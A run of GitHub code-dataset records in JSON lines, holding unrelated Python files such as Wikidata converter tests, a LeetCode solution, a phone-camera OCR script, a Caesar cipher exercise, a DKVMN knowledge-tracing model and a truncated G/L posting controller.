'Deprecated',\n 'NORMAL',\n 'best',\n 'truth',\n])\ndef test_RankConverter_invalid(rank):\n converter = RankConverter(Map())\n with pytest.raises(BadRankException) as excinfo:\n converter.to_python(rank)\n assert rank in excinfo.value.get_description()\n assert 'normal' in excinfo.value.get_description()\n\n\n@pytest.mark.parametrize('wiki', [\n 'www.wikidata.org',\n 'test.wikidata.org',\n 'commons.wikimedia.org',\n 'test-commons.wikimedia.org',\n])\ndef test_WikiConverter_valid(wiki):\n converter = WikiConverter(Map())\n assert converter.to_python(wiki) == wiki\n assert converter.to_url(wiki) == wiki\n\n\n@pytest.mark.parametrize('wiki', [\n 'en.wikipedia.org',\n 'en.wikipedia.beta.wmflabs.org',\n 'en.wikipedia.org.google.com',\n 'lucaswerkmeister.de',\n])\ndef test_WikiConverter_invalid(wiki):\n converter = WikiConverter(Map())\n with pytest.raises(BadWikiException) as excinfo:\n converter.to_python(wiki)\n assert wiki in excinfo.value.get_description()\n assert 'www.wikidata.org' in excinfo.value.get_description()\n\n\n@pytest.mark.parametrize('wiki', [\n 'www.wikidata.org',\n])\ndef test_WikiWithQueryServiceConverter_valid(wiki):\n converter = WikiWithQueryServiceConverter(Map())\n assert converter.to_python(wiki) == wiki\n assert converter.to_url(wiki) == wiki\n\n\n@pytest.mark.parametrize('wiki', [\n 'en.wikipedia.org',\n 'en.wikipedia.beta.wmflabs.org',\n 'en.wikipedia.org.google.com',\n 'lucaswerkmeister.de',\n])\ndef test_WikiWithQueryServiceConverter_bad(wiki):\n converter = WikiWithQueryServiceConverter(Map())\n with pytest.raises(BadWikiException) as excinfo:\n converter.to_python(wiki)\n assert wiki in excinfo.value.get_description()\n assert 'www.wikidata.org' in excinfo.value.get_description()\n\n\n@pytest.mark.parametrize('wiki', [\n 'test.wikidata.org',\n 'test-commons.wikimedia.org',\n])\ndef test_WikiWithQueryServiceConverter_without(wiki):\n converter = WikiWithQueryServiceConverter(Map())\n with pytest.raises(WikiWithoutQueryServiceException) as excinfo:\n converter.to_python(wiki)\n assert wiki in excinfo.value.get_description()\n assert 'www.wikidata.org' in excinfo.value.get_description()\n","repo_name":"lucaswerkmeister/tool-ranker","sub_path":"test_converters.py","file_name":"test_converters.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15211384389","text":"\"\"\"\n\n[1769] Minimum Number of Operations to Move All Balls to Each Box\n\n\nYou have n boxes. You are given a binary string boxes of length n, where boxes[i] is '0' if the ith box is empty, and '1' if it contains one ball.\n\nIn one operation, you can move one ball from a box to an adjacent box. Box i is adjacent to box j if abs(i - j) == 1. Note that after doing so, there may be more than one ball in some boxes.\n\nReturn an array answer of size n, where answer[i] is the minimum number of operations needed to move all the balls to the ith box.\n\nEach answer[i] is calculated considering the initial state of the boxes.\n\n\nExample 1:\n\n\nInput: boxes = \"110\"\nOutput: [1,1,3]\nExplanation: The answer for each box is as follows:\n1) First box: you will have to move one ball from the second box to the first box in one operation.\n2) Second box: you will have to move one ball from the first box to the second box in one operation.\n3) Third box: you will have to move one ball from the first box to the third box in two operations, and move one ball from the second box to the third box in one operation.\n\n\nExample 2:\n\n\nInput: boxes = \"001011\"\nOutput: [11,8,5,4,3,4]\n\n\nConstraints:\n\n\n\tn == boxes.length\n\t1 <= n <= 2000\n\tboxes[i] is either '0' or '1'.\n\n################################################################\n\n\n1769. 移动所有球到每个盒子所需的最小操作数\n有 n 个盒子。给你一个长度为 n 的二进制字符串 boxes ,其中 boxes[i] 的值为 '0' 表示第 i 个盒子是 空 的,而 boxes[i] 的值为 '1' 表示盒子里有 一个 小球。\n\n在一步操作中,你可以将 一个 小球从某个盒子移动到一个与之相邻的盒子中。第 i 个盒子和第 j 个盒子相邻需满足 abs(i - j) == 1 。注意,操作执行后,某些盒子中可能会存在不止一个小球。\n\n返回一个长度为 n 的数组 answer ,其中 answer[i] 是将所有小球移动到第 i 个盒子所需的 最小 操作数。\n\n每个 answer[i] 都需要根据盒子的 初始状态 进行计算。\n\n\n\n示例 1:\n\n输入:boxes = \"110\"\n输出:[1,1,3]\n解释:每个盒子对应的最小操作数如下:\n1) 第 1 个盒子:将一个小球从第 2 个盒子移动到第 1 个盒子,需要 1 步操作。\n2) 第 2 个盒子:将一个小球从第 1 个盒子移动到第 2 个盒子,需要 1 步操作。\n3) 第 3 个盒子:将一个小球从第 1 个盒子移动到第 3 个盒子,需要 2 步操作。将一个小球从第 2 个盒子移动到第 3 个盒子,需要 1 步操作。共计 3 步操作。\n示例 2:\n\n输入:boxes = \"001011\"\n输出:[11,8,5,4,3,4]\n\n\n提示:\n\nn == boxes.length\n1 <= n <= 2000\nboxes[i] 为 '0' 或 '1'\n\n\"\"\"\n\nimport sys\nimport inspect\nimport os\nimport unittest\n\nfrom itertools import *\nfrom collections import *\nfrom copy import *\nfrom typing import *\nfrom math import *\n\nfrom os.path import abspath, join, dirname\n\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nparentdir = os.path.dirname(parentdir) # algo\nparentdir = os.path.dirname(parentdir) # leetcode\nparentdir = os.path.dirname(parentdir) # oj\nparentdir = os.path.dirname(parentdir) # algo\nsys.path.insert(0, parentdir)\n# print(sys.path)\n\n\nfrom algo.tree.builder import *\n\n\n\"\"\"\n\n作者:lcbin\n链接:https://leetcode.cn/problems/minimum-number-of-operations-to-move-all-balls-to-each-box/solution/by-lcbin-kmss/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n\n我们可以预处理出每个位置 i 左边的小球移动到 i 的操作数,记为 left[i];每个位置 i\n右边的小球移动到 i 的操作数,记为 right[i]。那么答案数组的第 i 个元素就是\nleft[i] + right[i]。\n\n\"\"\"\n\n\nclass Solution:\n def minOperations(self, boxes: str) -> List[int]:\n n = len(boxes)\n left = [0] * n\n right = [0] * n\n cnt = 0\n for i in range(1, n):\n if boxes[i - 1] == \"1\":\n cnt += 1\n left[i] = left[i - 1] + cnt\n cnt = 0\n for i in range(n - 2, -1, -1):\n if boxes[i + 1] == \"1\":\n cnt += 1\n right[i] = right[i + 1] + cnt\n return [a + b for a, b in zip(left, right)]\n\n\nclass TestSolution(unittest.TestCase):\n def setUp(self):\n self.sl = Solution()\n\n def test_sl(self):\n self.assertEqual(\n self.sl,\n None,\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"shiyang07ca/lab","sub_path":"algo/oj/leetcode/algo/01769/sl.py","file_name":"sl.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36910463074","text":"from pyimagesearch.blur_detection.blur_detector import *\nimport imutils\nimport time\nimport cv2\nimport pytesseract\nimport requests\nimport os\n\n\n# --------------- For when installing tesseract on your own:\n# Path of pytesseract execution folder (Change as needed)\n\n# For windows, the path is either here:\n# your_username = os.getlogin()\n# r\"C:\\Users\\your_username\\AppData\\Local\\Tesseract-OCR\\tesseract.exe\"\n\n# Or here:\n# r\"C:\\Program Files\\Tesseract-OCR\\tessdata\"\n\n# --------------- For easier use, you don't have to change anything:\n# The folder is already installed:\npytesseract.pytesseract.tesseract_cmd = r'../modules/tesseractwin/tesseract.exe'\n\n\n# --------------- For mac users you have to install tesseract yourself using Homebrew and the path is usually installed here:\n# pytesseract.pytesseract.tesseract_cmd = r'/usr/local/bin/tesseract'\n\n# Or here (my case):\n# pytesseract.pytesseract.tesseract_cmd = r'/usr/local/Cellar/tesseract/5.3.0_1/bin/tesseract' # Depending on the version of tesseract\n\n\n# Replace the below URL with your own. Make sure to add \"/shot.jpg\" at last.\nurl = \"http://192.168.0.16:8080/shot.jpg\"\n\n# create a named window for our output OCR visualization (a named\n# window is required here so that we can automatically position it\n# on our screen)\ncv2.namedWindow(\"Output\")\n\n# Get video from webcam / drone / phone\nprint(\"[INFO] starting video stream...\")\ntime.sleep(2.0)\n\ncntr = 0\ndetecting = False\n\n# loop over frames from the video stream\nwhile True:\n # Phone camera with IP Camera\n img_resp = requests.get(url)\n img_arr = np.array(bytearray(img_resp.content), dtype=np.uint8)\n img = cv2.imdecode(img_arr, -1)\n\n # grab the next frame and handle if we are reading from either\n # a webcam or a video file\n cntr = cntr + 1\n\n key = cv2.waitKey(1) & 0xFF\n\n # resize the frame and compute the ratio of the *new* width to\n # the *old* width\n frame = imutils.resize(img, height=480, width=640)\n\n # convert the frame to grayscale and detect if the frame is\n # considered blurry or not\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n (mean, blurry) = detect_blur_fft(gray, thresh=7)\n\n # Press \"c\" to toggle detection\n # Aqui cambiar a que detecting sea cuando no se esta moviendo el dron en vez de la letra \"c\"\n if key == ord(\"c\"):\n detecting = not detecting\n\n # process data if not blurry\n if not blurry and detecting:\n # Test detection threshold\n # color = (0, 255, 0)\n # text = \"Detecting ({:.4f})\"\n # text = text.format(mean)\n # print(text)\n\n # Show in window\n # cv2.putText(frame, text, (10, 25), cv2.FONT_HERSHEY_SIMPLEX,\n # 0.7, color, 2)\n\n # Process letters here\n if (cntr % 20) == 0:\n img_h, img_w, _ = frame.shape\n x1, y1, w1, h1 = 0, 0, img_h, img_w\n imgchar = pytesseract.image_to_string(frame, lang=\"eng\", config=\"--psm 10\")\n # imgchar = pytesseract.image_to_string(frame, lang='equ', config='--psm 1 --oem 3')\n\n imgboxes = pytesseract.image_to_boxes(frame)\n\n for boxes in imgboxes.splitlines():\n boxes = boxes.split(\" \")\n x, y, w, h = int(boxes[1]), int(boxes[2]), int(boxes[3]), int(boxes[4])\n cv2.rectangle(frame, (x, img_h - y), (w, img_h - h), (0, 0, 255), 1)\n\n print(imgchar)\n\n # show the output video OCR visualization\n cv2.imshow(\"Output\", frame)\n\n # if the 'q' key was pressed, break from the loop\n if key == ord(\"q\"):\n break\n\n\n# close any open windows\ncv2.destroyAllWindows()\n","repo_name":"jonatanpalaciosacevedo/tello-gcs","sub_path":"ocr_control/ocr_phone.py","file_name":"ocr_phone.py","file_ext":"py","file_size_in_byte":3610,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"70168678654","text":"from django.urls import path\n\nfrom ..views import legacy\n\n# All legacy URL patterns\nurlpatterns = [\n path('init/', legacy.InitView.as_view()),\n path('donation.register/', legacy.DonationView.as_view()),\n path('export.donations/', legacy.ExportView.as_view(),\n name=\"donations-export\")\n]\n","repo_name":"koodorukkam/noah","sub_path":"noah_core/urls/v1.py","file_name":"v1.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"78"} +{"seq_id":"5786770396","text":"\"\"\"Add the news table.\n\nRevision ID: 5447bceb2b4\nRevises: 2e6020f3486\nCreate Date: 2015-02-09 11:33:49.048095\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '5447bceb2b4'\ndown_revision = '2e6020f3486'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\nnews_posts_id_seq = sa.Sequence('news_posts_id_seq')\n\ndef upgrade():\n op.execute(sa.schema.CreateSequence(news_posts_id_seq))\n\n op.create_table('news_posts',\n sa.Column('id', sa.Integer(), news_posts_id_seq, nullable=False),\n sa.Column('post_time', sa.DateTime(), nullable=False),\n sa.Column('posted_by_trainer_id', sa.Integer(), nullable=False),\n sa.Column('title', sa.Unicode(), nullable=False),\n sa.Column('text', sa.Unicode(), nullable=False),\n sa.ForeignKeyConstraint(['posted_by_trainer_id'], ['trainers.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n\n\ndef downgrade():\n op.drop_table('news_posts')\n op.execute(sa.schema.DropSequence(news_posts_id_seq))\n","repo_name":"CatTrinket/tcod-asb","sub_path":"alembic/versions/5447bceb2b4_add_the_news_table.py","file_name":"5447bceb2b4_add_the_news_table.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"30109196258","text":"import sys\nsys.stdin = open('sample_input_color.txt')\n\n\nT = int(input())\nfor t in range(1,T+1):\n grid = [[0 for _ in range(10)] for _ in range(10)]\n N = int(input())\n k = []\n cnt = 0\n for i in range(N):\n k.append(list(map(int,input().split())))\n for i in k:\n for j in range(i[0], i[2]+1):\n for m in range(i[1], i[3]+1):\n if grid[j][m] != i[4]:\n grid[j][m] += i[4]\n if grid[j][m] == 3:\n cnt += 1\n print('#%d %d' %(t,cnt))\n\n# 델타함수를 써서도 한번 풀어보자.\n\n\n\n","repo_name":"hs-ryu/TIL","sub_path":"python/알고리즘/swea/D2/11555 색칠하기.py","file_name":"11555 색칠하기.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41214073092","text":"#User function Template for python3\nclass Solution:\n\tdef baseEquiv(self, n, m):\n\t if m==1 and n <=32:\n\t return 'Yes'\n\t def helper(num,base):\n\t s=''\n\t while(num!=0):\n\t basedigit=num%base\n\t if basedigit<10:\n\t s=str(basedigit)+s\n\t else:\n\t k=chr(ord('a')+basedigit-10)\n\t s=k+s\n\t num=num//base\n\t return s\n\t for i in range(2,33):\n\t if len(helper(n,i))==m:\n\t return 'Yes'\n\t return 'No'\n\n\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\nif __name__ == '__main__':\n\tT=int(input())\n\tfor i in range(T):\n\t\tn,m = input().split()\n\t\tn=int(n)\n\t\tm=int(m)\n\t\tob = Solution();\n\t\tprint(ob.baseEquiv(n,m))\n\n# } Driver Code Ends","repo_name":"jaswanthKumarchapiri2000/coding","sub_path":"Base Equivalence - GFG/base-equivalence.py","file_name":"base-equivalence.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17955725080","text":"alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n\ndirection = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\ntext = input(\"Type your message:\\n\").lower()\nshift = int(input(\"Type the shift number:\\n\"))\n\n\ndef caesar(text_input, shift_input, direction_input):\n message = \"\"\n if direction_input == \"decode\":\n shift_input *= -1\n for i in text_input:\n position = alphabet.index(i) + shift_input\n message += alphabet[position]\n print(message)\n\n\ncaesar(text_input=text, shift_input=shift, direction_input=direction)\n","repo_name":"matismok/Python","sub_path":"Projects/caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36788584620","text":"'''Faça um programa que tenha uma função chamada contador() que receba três parâmetros: início, fim e passo e realize a contagem.\nO programa tem que realizar três contagens através da função criada\n- De 1 até 10, de 1 em 1;\n- de 10 até 0, de 2 em 2;\n- Uma contagem personalizada.'''\n\nfrom time import sleep\n\n''' DUAS FUNÇÕES COM FOR - PURA TRAPAÇA, MAS FUNCIONA\ndef contadormais(a, b, c): # Função pra contagem progressiva\n print('-=' * 40)\n print(f'Contagem de {a} até {b} de {c} em {c}')\n for cont in range(a, b+1, c):\n print(f'{cont}', end=' ') \n sleep(0.30)\n print('- Fim da contagem')\n\ndef contadormenos(a, b, c): # Função pra contagem regressiva\n print('-' * 40)\n print(f'Contagem de {a} até {b} de {c} em {c}')\n for cont in range(a, b-1, -c):\n print(f'{cont}', end=' ')\n sleep(0.35)\n print('- Fim da contagem')\n\n\ncontadormais(1, 10, 1)\ncontadormenos(10, 0, 2)\n'''\ndef contador(a, b, c):\n print('-' * 40)\n print(f'Contagem de {a} até {b} de {c} em {c}')\n cont = a\n if a < b:\n while cont <= b:\n print(f'{cont}', end=' ')\n cont += c\n sleep(0.35)\n print('- Fim da contagem')\n else:\n while cont >= b:\n print(f'{cont}', end=' ')\n cont -= c \n sleep(0.35)\n print('- Fim da contagem')\n\ncontador(1, 10, 1)\ncontador(20, 0, 2)\nprint('Agora é sua vez de personalizar a contagem.')\na = int(input('Início: '))\nb = int(input('Fim: '))\nc = int(input('Passo: '))\nif c < 0: # Condicional pra se mesmo se eu colocar número negativo, mostrar como positivo e ainda assim fazer a contagem regressiva\n c *= -1\nif c == 0: # Se o passo for 0, ele vai valer 1\n c = 1\ncontador(a, b, c)\n\n''' PARA A VERSÃO COM FOR\nif c < 0: # Condicional pra se mesmo se eu colocar número negativo, mostrar como positivo e ainda assim fazer a contagem regressiva\n c *= -1\nif c == 0: # Se o passo for 0, ele vai valer 1\n c = 1 \nif a > b:\n contadormenos(a, b, c)\nelse:\n contadormais(a, b, c)\n '''","repo_name":"Gstv-web/Python-Curso-em-Video","sub_path":"Exercicios/ex098.py","file_name":"ex098.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30875087676","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport abc\nimport os\n\nimport numpy as np\nfrom scipy import ndimage\n\n\nclass AbstractFocusMeasure(metaclass=abc.ABCMeta):\n def __init__(self):\n super(AbstractFocusMeasure, self).__init__()\n\n @abc.abstractmethod\n def execute(self, images, grayscale_images, sigma):\n pass\n\n\nclass LaplacianOfGaussianEnergy(AbstractFocusMeasure):\n\n def __init__(self):\n super().__init__()\n\n def laplacian(self, image):\n return ndimage.gaussian_laplace(image, sigma=0.7)\n\n def execute(self, dataset, grayscale_images):\n edges = np.array([self.laplacian(img) for img in grayscale_images])\n\n energies = np.argmax(edges, axis=0)\n\n height, width = grayscale_images[0].shape\n\n result = np.zeros((height, width, 3), dtype=np.float32)\n\n stack = np.stack(dataset, axis=0)\n result = np.zeros((height, width, 3), dtype=np.float32)\n for row in range(height):\n for col in range(width):\n idx = energies[row, col]\n result[row, col, :] = stack[idx, row, col, :]\n\n return result\n","repo_name":"vaugus/bright-field-microscopy-image-fusion-prototype","sub_path":"modules/fusion_rules.py","file_name":"fusion_rules.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23942441132","text":"from motor.motor_asyncio import AsyncIOMotorClient\nimport logging\n\nfrom api.config import settings\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\nclass DataBase:\n client: AsyncIOMotorClient = None\n\n\ndb = DataBase()\n\n\nasync def get_database() -> AsyncIOMotorClient:\n return db.client\n\n\nasync def connect_to_mongo():\n logging.info(\"Opening database connection...\")\n db.client = AsyncIOMotorClient(\n str(settings.MONGODB_URL),\n maxPoolSize=settings.MAX_CONNECTIONS_COUNT,\n minPoolSize=settings.MIN_CONNECTIONS_COUNT,\n )\n logging.info(\"Database connected\")\n\n\nasync def close_mongo_connection():\n logging.info(\"Closing database connection...\")\n db.client.close()\n logging.info(\"Database closed\")\n","repo_name":"danielmachado86/fl_user","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43614911466","text":"import sys\nones = [\"\",\"one\",\"two\",\"three\",\"four\",\"five\",\"six\",\"seven\",\"eight\",\"nine\"]\nteens = [\"ten\", \"eleven\", \"twelve\", \"thirteen\",\"fourteen\",\"fifteen\",\"sixteen\",\"seventeen\",\"eighteen\",\"nineteen\"]\ntens = [\"\",\"ten\",\"twenty\",\"thirty\",\"forty\",\"fifty\",\"sixty\",\"seventy\",\"eighty\",\"ninety\"]\npast = [\"hundred\",\"thousand\"]\n\nmegaString = \"\"\nfor num in range(1,1000+1):\n output = \"\"\n numIterate = [i for i in str(num)]\n numIterate = numIterate[::-1]\n index = len(numIterate)-1\n while index >= 0:\n n = int(numIterate[index])\n if index == 3:\n output = output + ones[n]+past[n]\n if index == 2:\n if not n == 0:\n output = output + ones[n]+past[0]\n if not (int(numIterate[0])==0 and int(numIterate[1])==0):\n output = output + \"and\"\n if index == 1:\n if n == 1:\n output = output + teens[int(numIterate[index-1])]\n else:\n output = output + tens[n]\n if index == 0:\n if len(numIterate)<2:\n output = output + ones[n]\n else:\n if not (int(numIterate[1])==1):\n output = output + ones[n]\n index-=1\n print(str(num)+\" \"+output)\n megaString = megaString + output\nprint(megaString)\nprint(len(megaString))\n","repo_name":"Matt-Puentes/Eulers","sub_path":"eulers_017.py","file_name":"eulers_017.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20654220235","text":"# Databricks notebook source\n# MAGIC %fs\n# MAGIC ls /databricks-datasets/\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ##### replacement of the %fs with actual package used in the background.\n# MAGIC ##### just / represent the root folder.\n\n# COMMAND ----------\n\ndbutils.fs.ls('/')\n\n# COMMAND ----------\n\ndbutils.fs.ls('/databricks-datasets/')\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ##### For loop to read each location of the files and print it as record.\n\n# COMMAND ----------\n\nfor files in dbutils.fs.ls('/databricks-datasets/'):\n print(files)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ##### filter for the folders and skip the files\n\n# COMMAND ----------\n\nfor files in dbutils.fs.ls('/databricks-datasets/'):\n if files.name.endswith('/'):\n print(files) \n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ###### only folder name are visible. other values can be used in the files are files.size,files.modificationTime,files.path\n\n# COMMAND ----------\n\nfor files in dbutils.fs.ls('/databricks-datasets/'):\n if files.name.endswith('/'):\n print(files.name)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ###### help on the DB utils package , provide its list of the method supported\n\n# COMMAND ----------\n\ndbutils.help()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ##### help on the DB utils package method\n\n# COMMAND ----------\n\ndbutils.fs.help()\n\n# COMMAND ----------\n\ndbutils.fs.help('ls')\n\n# COMMAND ----------\n\ndbutils.widgets.help()\n\n# COMMAND ----------\n\ndbutils.notbook.help()\n","repo_name":"LateshSangani/Python_Learning","sub_path":"formula1/demo/0.3.dbutils package.py","file_name":"0.3.dbutils package.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"70691790011","text":"import torch\nimport torch.nn as nn\nfrom memory import DKVMN\nimport numpy as np\nimport utils as utils\n\nclass MODEL(nn.Module):\n\n def __init__(self, n_question, batch_size, q_embed_dim, qa_embed_dim,\n memory_size, memory_key_state_dim, memory_value_state_dim, final_fc_dim, student_num=None):\n super(MODEL, self).__init__()\n self.n_question = n_question\n self.batch_size = batch_size\n self.q_embed_dim = q_embed_dim\n self.qa_embed_dim = qa_embed_dim\n self.memory_size = memory_size\n self.memory_key_state_dim = memory_key_state_dim\n self.memory_value_state_dim = memory_value_state_dim\n self.final_fc_dim = final_fc_dim\n self.student_num = student_num\n\n self.input_embed_linear = nn.Linear(self.q_embed_dim, self.final_fc_dim, bias=True)\n self.read_embed_linear = nn.Linear(self.memory_value_state_dim + self.final_fc_dim, self.final_fc_dim, bias=True)\n self.predict_linear = nn.Linear(self.final_fc_dim, 1, bias=True)\n self.init_memory_key = nn.Parameter(torch.randn(self.memory_size, self.memory_key_state_dim))\n nn.init.kaiming_normal_(self.init_memory_key)\n self.init_memory_value = nn.Parameter(torch.randn(self.memory_size, self.memory_value_state_dim))\n nn.init.kaiming_normal_(self.init_memory_value)\n\n self.mem = DKVMN(memory_size=self.memory_size,\n memory_key_state_dim=self.memory_key_state_dim,\n memory_value_state_dim=self.memory_value_state_dim, init_memory_key=self.init_memory_key)\n\n memory_value = nn.Parameter(torch.cat([self.init_memory_value.unsqueeze(0) for _ in range(batch_size)], 0).data)\n self.mem.init_value_memory(memory_value)\n\n self.q_embed = nn.Embedding(self.n_question + 1, self.q_embed_dim, padding_idx=0)\n self.qa_embed = nn.Embedding(2 * self.n_question + 1, self.qa_embed_dim, padding_idx=0)\n\n def init_params(self):\n nn.init.kaiming_normal_(self.predict_linear.weight)\n nn.init.kaiming_normal_(self.read_embed_linear.weight)\n nn.init.constant_(self.read_embed_linear.bias, 0)\n nn.init.constant_(self.predict_linear.bias, 0)\n # nn.init.constant(self.input_embed_linear.bias, 0)\n # nn.init.normal(self.input_embed_linear.weight, std=0.02)\n\n def init_embeddings(self):\n\n nn.init.kaiming_normal_(self.q_embed.weight)\n nn.init.kaiming_normal_(self.qa_embed.weight)\n\n def forward(self, q_data, qa_data, target, student_id=None):\n\n batch_size = q_data.shape[0]\n seqlen = q_data.shape[1]\n q_embed_data = self.q_embed(q_data)\n qa_embed_data = self.qa_embed(qa_data)\n\n memory_value = nn.Parameter(torch.cat([self.init_memory_value.unsqueeze(0) for _ in range(batch_size)], 0).data)\n self.mem.init_value_memory(memory_value)\n\n slice_q_data = torch.chunk(q_data, seqlen, 1)\n slice_q_embed_data = torch.chunk(q_embed_data, seqlen, 1)\n slice_qa_embed_data = torch.chunk(qa_embed_data, seqlen, 1)\n\n value_read_content_l = []\n input_embed_l = []\n predict_logs = []\n for i in range(seqlen):\n ## Attention\n q = slice_q_embed_data[i].squeeze(1)\n correlation_weight = self.mem.attention(q)\n if_memory_write = slice_q_data[i].squeeze(1).ge(1)\n if_memory_write = utils.varible(torch.FloatTensor(if_memory_write.data.tolist()), 1)\n\n\n ## Read Process\n read_content = self.mem.read(correlation_weight)\n value_read_content_l.append(read_content)\n input_embed_l.append(q)\n ## Write Process\n qa = slice_qa_embed_data[i].squeeze(1)\n new_memory_value = self.mem.write(correlation_weight, qa, if_memory_write)\n\n # read_content_embed = torch.tanh(self.read_embed_linear(torch.cat([read_content, q], 1)))\n # pred = self.predict_linear(read_content_embed)\n # predict_logs.append(pred)\n\n all_read_value_content = torch.cat([value_read_content_l[i].unsqueeze(1) for i in range(seqlen)], 1)\n input_embed_content = torch.cat([input_embed_l[i].unsqueeze(1) for i in range(seqlen)], 1)\n # input_embed_content = input_embed_content.view(batch_size * seqlen, -1)\n # input_embed_content = torch.tanh(self.input_embed_linear(input_embed_content))\n # input_embed_content = input_embed_content.view(batch_size, seqlen, -1)\n\n predict_input = torch.cat([all_read_value_content, input_embed_content], 2)\n read_content_embed = torch.tanh(self.read_embed_linear(predict_input.view(batch_size*seqlen, -1)))\n\n pred = self.predict_linear(read_content_embed)\n # predicts = torch.cat([predict_logs[i] for i in range(seqlen)], 1)\n target_1d = target # [batch_size * seq_len, 1]\n mask = target_1d.ge(0) # [batch_size * seq_len, 1]\n # pred_1d = predicts.view(-1, 1) # [batch_size * seq_len, 1]\n pred_1d = pred.view(-1, 1) # [batch_size * seq_len, 1]\n\n filtered_pred = torch.masked_select(pred_1d, mask)\n filtered_target = torch.masked_select(target_1d, mask)\n loss = torch.nn.functional.binary_cross_entropy_with_logits(filtered_pred, filtered_target)\n\n return loss, torch.sigmoid(filtered_pred), filtered_target","repo_name":"dxywill/pytorch_dkvmn","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"78"} +{"seq_id":"40504453844","text":"import cv2\nimport numpy as np \n\n\ncap = cv2.VideoCapture(\"road_car2.mp4\")\nwhile True:\n ret, frame = cap.read()\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n low_yellow = np.array([38,63,100])\n up_yellow = np.array([48,255,255])\n mask = cv2.inRange(hsv,low_yellow,up_yellow)\n edges = cv2.Canny(mask,75,150)\n\n lines = cv2.HoughLinesP(edges,1,np.pi/180,50,maxLineGap = 50)\n if lines is not None:\n for line in lines:\n x1,y1,x2,y2 = line[0]\n cv2.line(frame,(x1,y1),(x2,y2),(0,255,0),5)\n cv2.imshow(\"frame\",frame)\n cv2.imshow(\"edges\",edges)\n key = cv2.waitKey(25)\n if key == 27:\n break\ncap.release()\ncv2.destroyAllWindows()","repo_name":"reaf-tamu/REAF2019","sub_path":"PriyaPatel/lineDetection.py","file_name":"lineDetection.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"42557997083","text":"\"\"\"\nG/L Posting\n\"\"\"\n\n__author__ = 'Jaimy Azle'\n__version__ = '1.0'\n__copyright__ = 'Copyright (c) 2008 Jaimy Azle'\n\nfrom mvcsvc import *\nfrom elixir import *\nimport datetime as dt\nfrom validators import *\nimport decimal as dcm\nimport sqlalchemy as sa\nfrom jobsvc import jobassign\nfrom tbl import GLSOPT, GLPOST, EFUSRS\n\nclass GLS250(MVCController):\n \"\"\"\n G/L Posting\n \"\"\"\n _description = 'G/L Posting'\n _supported_functions = (MVCFuncNew,)\n\n GLPODESC = MVCField(MVCTypeField, String(48), label='Post Desc.')\n GLPOPOMO = MVCField(MVCTypeField, Integer(), label='Type',\n choices={\n 'All Batches':1,\n 'Batch Range':2\n })\n GLPOBCFR = MVCField(MVCTypeField, String(6), label='Range From', browseable=True)\n GLPOBCTO = MVCField(MVCTypeField, String(6), label='To', browseable=True)\n GLPOPOTP = MVCField(MVCTypeField, Integer(), label='Posting 